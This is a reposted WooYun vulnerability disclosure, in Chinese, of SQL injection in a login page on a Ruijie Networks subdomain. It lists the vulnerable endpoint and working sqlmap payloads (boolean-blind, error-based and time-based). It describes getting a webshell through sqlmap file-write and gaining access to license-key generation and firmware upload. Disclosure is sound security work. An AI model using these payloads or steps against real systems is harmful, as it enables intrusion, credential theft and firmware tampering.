锐捷网络某站注入+getshell(可导致泄露产品license key+固件植入后门)

admin 2017年3月25日15:13:12评论914 views字数 245阅读0分49秒阅读模式
摘要

2016-03-21: 细节已通知厂商并且等待厂商处理中
2016-03-22: 厂商已经确认,细节仅向厂商公开
2016-04-01: 细节向核心白帽子及相关领域专家公开
2016-04-11: 细节向普通白帽子公开
2016-04-21: 细节向实习白帽子公开
2016-05-06: 细节向公众公开

漏洞概要 关注数(8) 关注此漏洞

缺陷编号: WooYun-2016-187530

漏洞标题: 锐捷网络某站注入+getshell(可导致泄露产品license key+固件植入后门)

相关厂商: ruijie.com.cn

漏洞作者: chock

提交时间: 2016-03-21 23:57

公开时间: 2016-05-06 08:49

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: php+字符类型注射

1人收藏


漏洞详情

披露状态:

2016-03-21: 细节已通知厂商并且等待厂商处理中
2016-03-22: 厂商已经确认,细节仅向厂商公开
2016-04-01: 细节向核心白帽子及相关领域专家公开
2016-04-11: 细节向普通白帽子公开
2016-04-21: 细节向实习白帽子公开
2016-05-06: 细节向公众公开

简要描述:

专注锐捷网络安全三十年

详细说明:

的神器

code 区域
http://zone.wooyun.org/content/25928

发现这个二级域名

code 区域
http://ace.ruijie.com.cn/

锐捷网络某站注入+getshell(可导致泄露产品license key+固件植入后门)

一个很简陋的登陆页面,随手一式,post单引号出错,于是sqlmap之

锐捷网络某站注入+getshell(可导致泄露产品license key+固件植入后门)

发现存在注入。。。

vuln:

code 区域
http://ace.ruijie.com.cn/login.php (POST)name=admin&password=admin&submit=%E6%8F%90%E4%BA%A4
code 区域
web application technology: Apache
back-end DBMS: MySQL 5.0.12
available databases [17]:
[*] amavisd
[*] aus
[*] cluebringer
[*] database_00000
[*] information_schema
[*] iredadmin
[*] maxnet
[*] mysql
[*] policyd
[*] portal
[*] pyl
[*] reg
[*] regtest
[*] roundcubemail
[*] t_seq
[*] test
[*] vmail

得到账号密码 然后登陆该系统 发现可生成和管理锐捷产品的license key!!!

锐捷网络某站注入+getshell(可导致泄露产品license key+固件植入后门)

然后发现8080端口存在服务,数据库中获得账号密码登之,发现可上传产品固件!!!:

锐捷网络某站注入+getshell(可导致泄露产品license key+固件植入后门)

and then ,接着发现网站根目录存在phpinfo.php,可知程序目录

锐捷网络某站注入+getshell(可导致泄露产品license key+固件植入后门)

于是sqlmap --file-write写文件getshell:

锐捷网络某站注入+getshell(可导致泄露产品license key+固件植入后门)

看到这么多安全厂商的名字,我也是一脸懵逼

锐捷网络某站注入+getshell(可导致泄露产品license key+固件植入后门)

漏洞证明:

code 区域
---
Parameter: name (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: name=-7821' OR 1182=1182#&password=admin&submit=%E6%8F%90%E4%BA%A4

Type: error-based
Title: MySQL OR error-based - WHERE or HAVING clause
Payload: name=-1568' OR 1 GROUP BY CONCAT(0x7171766a71,(SELECT (CASE WHEN (5202=5202) THEN 1 ELSE 0 END)),0x717a6a7671,FLOOR(RAND(0)*2)) HAVING MIN(0)#&password=admin&submit=%E6%8F%90%E4%BA%A4

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind (comment)
Payload: name=admin' OR SLEEP(5)#&password=admin&submit=%E6%8F%90%E4%BA%A4
---
web application technology: Apache
back-end DBMS: MySQL 5.0.12
current user: ''

修复方案:

你们真的不打算招个安全人员么?

版权声明:转载请注明来源 chock@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-03-22 08:49

厂商回复:

正在修复

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin